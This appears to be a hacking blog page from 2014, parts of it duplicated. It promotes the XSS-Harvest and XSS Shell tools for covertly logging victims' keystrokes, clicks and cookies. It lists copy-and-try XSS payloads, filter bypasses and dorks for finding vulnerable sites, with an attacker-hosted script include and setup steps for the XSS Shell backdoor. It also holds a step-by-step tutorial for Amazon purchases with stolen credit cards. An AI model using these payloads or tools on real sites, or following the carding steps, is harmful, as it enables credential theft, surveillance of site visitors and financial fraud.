Friday, 14 November 2014

Harvesting Cross Site Scripting, Clicks, Keystrokes and Cookies

  XSS-Harvest:-

 Harvesting Cross Site Scripting, Clicks, Keystrokes and Cookies

Even today many of us still do not understand the impact of an exploited XSS vulnerability, and I include the security community in this statement. To summarise, a successfully exploited XSS vulnerability will allow the interception of ALL keystrokes, ALL mouse actions, ALL cookies (unless protected by scope) on ALL pages of the affect domain, regardless of whether or not the vulnerability is “reflected” or “persistent”.XSS-Harvest is multi-threaded pre-forking web server written in Perl, and requires no dependencies other than a couple of common Perl modules; you do not need a web server or database to use this tool.

  Functionality of xss-harvest:

    * Infection script adds relevant event listeners (keystrokes, onload() and mouse clicks)     to the vulnerable page and sets up communication with the XSS-Harvest server.
    * Any key entered will be sent covertly to the server.
    * Any mouse click performed will be analysed and the data covertly sent to the server.
    * Optionally ‘redress’ the vulnerable page to display a different page on the same subdomain – e.g. a login form.
    * If redressing the victim’s browser, allow subsequently loaded pages to be also ‘infected’ – assuming they don’t break the same-origin policy (i.e. they’re on the same subdomain).
    * Keeps track of victims for the lifetime of the XSS-Harvest cookie (future visits are recognised as a returning victim).
    * Each victim has a separate history file containing all events, cookies and keystrokes.
    * Server console displays real time data received (due to multi-threaded nature, keystrokes are displayed as ‘.’ characters to avoid confusion).
    * Tested in IE6-9 (reflected XSS protection in IE9 will limit exploitation to stored XSS only in most cases), FF5, Chrome and various mobile browsers (Safari and Android). Please let me know your success with other browsers.
    * Overcomes browser oddities, such as Internet Explorer throttling requests to the same URL when exfiltrating keystrokes.

How to Exploit XSS with XSS-Harvest?
Identify a page vulnerable to XSS (reflected or persistent will be fine – unless the victim is running IE9 or another plugin such as NoScript).

Understand the markup of the page. You should be looking to insert syntactically correct <script></script> tags in to the source of the vulnerable page. Most attackers will insert something like ‘<script>alert(1)</script>’ at this stage to ensure the page is actually vulnerable.

Start the XSS-Harvest server as root if you wish to bind to a TCP port < 1024 (default port is 80), or as a limited user on a port > 1024 using the -p option. To start the server you must instruct it to listen with the -l option.

Insert the following ‘injection string’ into the vulnerable page:
<script src=”>

This will return the client-side JavaScript to the victim, indicated by the ‘i’ in the URL.
Entice visitors to the infected page (or to follow a link in the case of reflected XSS).
Watch your victims roll in – a new history file will be created for each new victim.
To use of the redress function, start the server with the -r parameter:

./xss-harvest.pl -l -r http://vulnerablepage.local/login.html

Basic dependencies:
HTTP::Server::Simple::CGI, Digest::MD5, Time::Local, Getopt::Std, Net::Server::PreFork

Download XSS-Harvest

--> New:- Advance Scripts To Find XSS Vulnerabilities In Websites.



Just Copy any script and try ..

To Redirect exploit code:

 ';redirecturl='javascript:alert("XSS")
 ';redirecturl='http://google.com/'


Now for XSS

Example: www. xyz.com?q=" XSS Script"

"/>alert("Xss:Priyanshu")
"/></script><script>alert(/XSS : Priyanshu/)</script>

<body onload=alert(1)>
"<body onload="alert('XSS by Priyanshu')">

"><%2Fstyle<%2Fscript><script>confirm("XSS By Priyanshu")<%2Fscript>

<body onload=document.getElementById("xsrf").submit()>

<a href="data:text/html;based64_,<svg/onload=\u0061&#x6c;&101%72t(1)>">X</a

<a href="data:text/html;based64_,<svg/onload=\u0061&#x6c;&101%72t(document.cookie)>">X</a

http://test.com<script>alert(document.domain)</script>
http://test.com<script>alert(document.cookie)</script>

<img src=x onerror=alert(document.domain)>

x"></script><img src=x onerror=alert(1)>

q=" onclick="alert(/XSS/)

"><iframe src='javascript:prompt(/XSS/);'>

<iframe src="http://google.com"></iframe>

"><iframe src=a onload=alert('XSS')<

</script><script>alert(document.cookie)</script>

<xss>alert('xss')</xss>

<iframe src="http://google.com"></iframe>



DOM Based XSS Scripts
/default.aspx#"><img src=x onerror=prompt('XSS');>
 /default.aspx#"><img src=x onerror=prompt('0');>   

<img src=x onerror=prompt(1);> by ">

“><img src=x onerror=prompt(0)>.txt.jpg

“><img src=x onerror=alert(document.cookie)>


 "><img src=x onerror=prompt(1);>

"><script>alert('XSS')</script>

id=abc"><Script>alert(/xss/)</SCRIPT>


"><img src=" " onMouseover=prompt(/xss/);>

Default.aspx/" onmouseout="confirm(1)'x="

How to Bypass Filtration ?


Alot of sites may seem vulnerable but not executing the code, well to solve this read
this. Some common methods to bypass filtration is

')alert('xss');
or
");alert('xss');

that will do the same thing has <script>alert("XSS")</script> on a vulnerable server.
You can also try hexing or base64 encoding your data before you submit, Please note
 its bad practice to use alert("XSS") to test for XSS, because some sites block the
keyword "XSS" before so we using "Priyanshu".

Some other ways to bypass filtration
website.com/search.php?q="><script>alert('Priyanshu')</script>
website.com/search.php?q="><script>alert("Priyanshu")</script>
website.com/search.php?q="><script>alert("Priyanshu");</script>
website.com/search.php?q="><script>alert(/Priyanshu");</script>
website.com/search.php?q=//"><script>alert(/Priyanshu/);</script>
website.com/search.php?q=xyz<script>alert(/Priyanshu/);</script>
website.com/search.php?q=xyz"><script>alert(/Priyanshu/);</script>
website.com/search.php?q=xyz"></script><script>alert(/Priyanshu/);</script>
website.com/search.php?q=000"><script></script><script>alert(Priyanshu);</script>
website.com/search.php?q=000xyz</script><script>alert(/Priyanshu/);</script>
website.com/search.php?q=--<script>"></script>alert(/Priyanshu/);</script>
website.com/search.php?q="><img src='javascript:alert('Priyanshu');'>
website.com/search.php?q="><script src='http://virus.js'</script>

Advanced XSS - way to bypass magic quotes filtration:
Ok now we are going to learn about some good techniqes. I have came across many
sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here

http://www.asciitable.com/
http://easycalculation.com/

This will help you write what you want, In my examples ill be writing "HOC" this is the following code

72 79 67

Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.

String.fromCharCode()

is suitable for this kinda things, its easy to setup, im gona give it my args below.

String.fromCharCode(72, 79, 67)

Ok now "String.fromCharCode(72, 79, 67)" Is a JAVA (ASCII) way of saying "HOC".
And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.

<script>alert(String.fromCharCode(72, 79, 67))</script>

For More Script Coding Of XSS Visit
http://ha.ckers.org/xss.html
                 

Source:http://ha.ckers.org   
   XSS-Harvest:-

 Harvesting Cross Site Scripting, Clicks, Keystrokes and Cookies

Even today many of us still do not understand the impact of an exploited XSS vulnerability, and I include the security community in this statement. To summarise, a successfully exploited XSS vulnerability will allow the interception of ALL keystrokes, ALL mouse actions, ALL cookies (unless protected by scope) on ALL pages of the affect domain, regardless of whether or not the vulnerability is “reflected” or “persistent”.XSS-Harvest is multi-threaded pre-forking web server written in Perl, and requires no dependencies other than a couple of common Perl modules; you do not need a web server or database to use this tool.

  Functionality of xss-harvest:

    * Infection script adds relevant event listeners (keystrokes, onload() and mouse clicks)     to the vulnerable page and sets up communication with the XSS-Harvest server.
    * Any key entered will be sent covertly to the server.
    * Any mouse click performed will be analysed and the data covertly sent to the server.
    * Optionally ‘redress’ the vulnerable page to display a different page on the same subdomain – e.g. a login form.
    * If redressing the victim’s browser, allow subsequently loaded pages to be also ‘infected’ – assuming they don’t break the same-origin policy (i.e. they’re on the same subdomain).
    * Keeps track of victims for the lifetime of the XSS-Harvest cookie (future visits are recognised as a returning victim).
    * Each victim has a separate history file containing all events, cookies and keystrokes.
    * Server console displays real time data received (due to multi-threaded nature, keystrokes are displayed as ‘.’ characters to avoid confusion).
    * Tested in IE6-9 (reflected XSS protection in IE9 will limit exploitation to stored XSS only in most cases), FF5, Chrome and various mobile browsers (Safari and Android). Please let me know your success with other browsers.
    * Overcomes browser oddities, such as Internet Explorer throttling requests to the same URL when exfiltrating keystrokes.

How to Exploit XSS with XSS-Harvest?
Identify a page vulnerable to XSS (reflected or persistent will be fine – unless the victim is running IE9 or another plugin such as NoScript).

Understand the markup of the page. You should be looking to insert syntactically correct <script></script> tags in to the source of the vulnerable page. Most attackers will insert something like ‘<script>alert(1)</script>’ at this stage to ensure the page is actually vulnerable.

Start the XSS-Harvest server as root if you wish to bind to a TCP port < 1024 (default port is 80), or as a limited user on a port > 1024 using the -p option. To start the server you must instruct it to listen with the -l option.

Insert the following ‘injection string’ into the vulnerable page:
<script src=”>

This will return the client-side JavaScript to the victim, indicated by the ‘i’ in the URL.
Entice visitors to the infected page (or to follow a link in the case of reflected XSS).
Watch your victims roll in – a new history file will be created for each new victim.
To use of the redress function, start the server with the -r parameter:

./xss-harvest.pl -l -r http://vulnerablepage.local/login.html

Basic dependencies:
HTTP::Server::Simple::CGI, Digest::MD5, Time::Local, Getopt::Std, Net::Server::PreFork

Download XSS-Harvest

--> New:- Advance Scripts To Find XSS Vulnerabilities In  Websites.

Just Copy any script and try ..

To Redirect exploit code:

 ';redirecturl='javascript:alert("XSS")
 ';redirecturl='http://google.com/'


Now for XSS

Example: www. xyz.com?q=" XSS Script"

"/>alert("Xss:Priyanshu")
"/></script><script>alert(/XSS : Priyanshu/)</script>

<body onload=alert(1)>
"<body onload="alert('XSS by Priyanshu')">

"><%2Fstyle<%2Fscript><script>confirm("XSS By Priyanshu")<%2Fscript>

<body onload=document.getElementById("xsrf").submit()>

<a href="data:text/html;based64_,<svg/onload=\u0061&#x6c;&101%72t(1)>">X</a

<a href="data:text/html;based64_,<svg/onload=\u0061&#x6c;&101%72t(document.cookie)>">X</a

http://test.com<script>alert(document.domain)</script>
http://test.com<script>alert(document.cookie)</script>

<img src=x onerror=alert(document.domain)>

x"></script><img src=x onerror=alert(1)>

q=" onclick="alert(/XSS/)

"><iframe src='javascript:prompt(/XSS/);'>

<iframe src="http://google.com"></iframe>

"><iframe src=a onload=alert('XSS')<

</script><script>alert(document.cookie)</script>

<xss>alert('xss')</xss>

<iframe src="http://google.com"></iframe>



DOM Based XSS Scripts
/default.aspx#"><img src=x onerror=prompt('XSS');>
 /default.aspx#"><img src=x onerror=prompt('0');>   

<img src=x onerror=prompt(1);> by ">

“><img src=x onerror=prompt(0)>.txt.jpg

“><img src=x onerror=alert(document.cookie)>


How to Find XSS Vulnerabilities:-

To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.

Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto google.com and type inurl:"search.php?q=" now that is a common page and has alot
of results. Also note that most sites have XSS Vulnerabilities, its just having a good
eye, and some good knowledge on how to bypass there filteration.

Basics of XSS:
Well now lets start learning some Actual Methods, the most common used XSS
injection is :

<script>alert("Priyanshu")</script>

now this will alert a popup message, saying "Priyanshu" without quotes.

So,use "search.php?q=" and you can simple try the following on a website with the
 same thing,

http://website.com/search.php?q=<script>alert("Priyanshu")</script>

There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :

http://website.com/search.php?q=<br><br><b><u>Priyanshu</u></b>

if you see the bold text on the page and newlines then you knows its vulnerable.

Cross Site Scripting (XSS)

'XSS' also known as 'CSS' - Cross Site Scripting. It is a very common vulnerability
found in Web Applications, 'XSS' allows the attacker to INSERT malicous code, There are many types of XSS attacks, I will mention 3 of the most used. This kind of vulnerability allows an "attacker" to inject some code into the applications affected in order to bypass access to the website or to apply  "phishing" on falls users.
This technique is also used for website Hacking.

Types of XSS:
There are actually three types of Cross-Site Scripting, commonly named as:

DOM-Based XSS
Non-persistent XSS
Persistent XSS

DOM-Based : The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim website but on a victim local machine: the various operative system usually includes "since born" some HTML pages created for differents aims, but as long as the humans do mistakes this HTML pages often can be exploited due to code vulnerabilities.

The DOM-Based XSS exploits these problems on users local machines in this way:
 - The attacker creates a well builded malicious website
 - The ingenuous user opens that site
 - The user has a vulnerable page on his machine
 - The attacker's website sends commands to the vulnerable HTML page
 - The vulnerable local page execute that commands with the user's privileges
  on that machine.
 - The attacker easily gain control on the victim computer.

Non-Persistent : The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It's commonly named as "non-persistent" because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker's client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result.

The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website
is vulnerable, the result page will return the result of these HTML entities.

Persistent : The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both works on a victim site and tries to hack users informations and the difference is that in websites vulnerables to Persistent XSS the attacker doesn't need to
 provide the crafted url to the users, because the website itself permits to users to insert fixed data into the system: this is the case for example of "guestbooks". Usually the users uses
that kind of tool to leave messages to the owned
of the website and at a first look it doesn't seems something dangerous, but if an
attacker discover that the system is vulnerable can insert some malicious code in his
 message and let ALL visitors to be victim of that.

This works when the tool provided (the guestbook in the example) doesn't do any
check on the content of the inserted message: it just inserts the data provided from
the user into the result page.

Thursday, 13 November 2014

PayPal Carding Stuff

THIS HAS BEEN TESTED FOR 2 IPADS

1 . A "CC" With Full Billing Information.
[Make Sure It's A Nice Bin (BIZ,CORP,GOLD,PLAT)]

2 . Socks5 Proxy Matching "CC" City+State
[If You Don't Know What Socks5 Proxy Is Google It Noob]

3 . A Freshly Made Email With "CC" Owners Name In It.
[Example If "CC" Owner's Name Is John Doe. Make Something Like John7Doe@hotmail.com]

-= THiS TUT IS BY CRIMES.WS FORCRIMES.WS MEMBERS =-

-= If Your Going To Leech It ATLEAST Give Us Credit =-

====================================

Step 1 :

Go To The Amazon Website Create An Account Using The "CC" Billing Information And The Fresh E-mail You Created. Make Sure You Create The Account Thru The Socks5 Proxy.

Step 2 :

Once You Have Created Your Amazon Account It's Time To Make The Account Look Like If It Was Made By A Legit Buyer. Over The Last Few Years Amazon Has Been Getting Harder & Harder To Card They Review Each Account When They Place There 1ST Order Therefore Add Something To Your Cart
(Anything Below $100.00USD) Once You Have A Item Under $100.00USD In Cart Sign Out Don't Card It Yet. Wait 5 Hours Before Signing Back In! When You Sign Back In Make Sure Your On Socks5 Matching CC BILLING CITY+STATE. Once Your Logged In Check Out. If The CC You Used Is Good It Will Ship Once It Ships Your Ready To Move To Step 3.


Step 3 :

Once You Get A Tracking Number For You Item You Carded Under 100.00USD. Your Account Has Been Reviewed Now You Can Card Anything From 500-800 Without Any Problem. Enjoy

Download Free XSS Shell v0.3.9 - (Xss)Cross Site Scripting Backdoor Tool

Misuse.
XSS Shell v0.3.9 - Cross Site Scripting Backdoor Tool
XSS Shell is a powerful XSS backdoor which allows interactively getting control over a Cross-site Scripting (XSS) vulnerability in a web application. Demonstrates the real power and damage of Cross-site Scripting attacks.WHAT IS XSS SHELL ?
XSS Shell is powerful a XSS backdoor and zombie manager. This concept first presented by XSS-Proxy (XSS-Proxy: A tool for realtime XSS hijacking and control). Normally in XSS attacks attacker has one shot, in XSS Shell you can interactively send requests and get responses from victim, you can backdoor the page.
You can steal basic auth, you can bypass IP restrictions in administration panels, you can DDoS some systems with a permanent XSS vulnerability etc. Attack possibilities are limited with ideas. Basically this tool demonstrates that you can do more with XSS. FEATURES
XSS Shell has several features to gain whole access over victim. Also you can simply add your own commands.
Most of the features can enable or disabled from configuration or can be tweaked from source code.
Features:
Regenerating Pages
Keylogger
Mouse Logger (click points + current DOM)
Built-in Commands:
Get Keylogger Data
Get Current Page (Current rendered DOM / like screenshot)
Get Cookie
Execute supplied javaScript (eval)
Get Clipboard (IE only)
Get internal IP address (Firefox + JVM only)
Check victim’s visited URL history
DDoS
Force to Crash victim’s browser
  Install Admin Interface;

1. Copy "xssshell" folder into your web server
2. Copy "db" to a secure place (below root)
3. Configure "database path" from "xssshell/db.asp"
4. Modify hard coded password in db.asp [default password is : w00t]
5. Now you can access admin interface from something like http://[YOURHOST]/xssshell/
Configure XSS Shell for communication;
1. Open xssshell.asp
2. Set "SERVER" variable to where your XSSShell folder is located. i.e: "http://[YOURHOST]/xssshell/";
3. Be sure to check "ME", "CONNECTOR", "COMMANDS_URL" variables. If you changed filenames, folder names or some kind of different configuration you need modify them.

Now open your admin interface from your browser,
To test it, just modify "sample_victim/default.asp" source code and replace "http://attacker:81/release/xssshell.js" URL with your own XSS Shell URL. Open "sample_victim" folder in some other browser and may be upload in to some other server.

Now you should see a zombie in admin interface. Just write something into "parameters" textarea and click "alert()". You should see an alert message in victim's browser.

-------------------------
SECURITY NOTES
-------------------------
- As a hunter be careful about possible "Backfire" in getSelfHTML(). Someone can hack you back or track you by another XSS or XSS Shell attack.
    - Checkout "showdata.asp" and implement your own "filter()" function to make it safer for you.

- Put "On error resume next" to db.asp, better modify your web server to not show any error.

-------------------------
HOW CAN YOU EXTEND?
-------------------------
First implement it to xssshell.asp
    1) Add new enum for your control
        - Set a name and unique number like "CMD_GETCOOKIE"
            - var CMD_SAMPLE = 78;
     
        - Set datatype for your response (generally TEXT),
            - dataTypes[CMD_SAMPLE] = TEXT;
     
    2) Write your function and add it to page
        - function cmdSample(){return "yeah working !"}
 
    3) Call it
        - Go inside to "function processGivenCommand(cmd)"
        - Add a new case like "case CMD_SAMPLE:"
 
    4) Report it back
        - Inside the case call log;
        "log(cmdSample(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");"
     
Secondly Implement it to admin interface;
    - In db.asp just add a new element to "Commands" array (command name, command unique number, description).
    i.e. "cmdSample()",78,"Command sample ! Just returns a message"

There are parameters and lots of helper in the code. Check out other commands for reference.
Enable debug feature to debug your new commands easily.
-------------------------
KNOWN BUGS;
-------------------------
- Keylogger is not working on IE
- Possibly not going to work for framed pages because of frame regeneration.
- Not working on Konqueror

DOWNLOAD: http://www.ziddu.com/download/9267912/XSSShell039.zip.html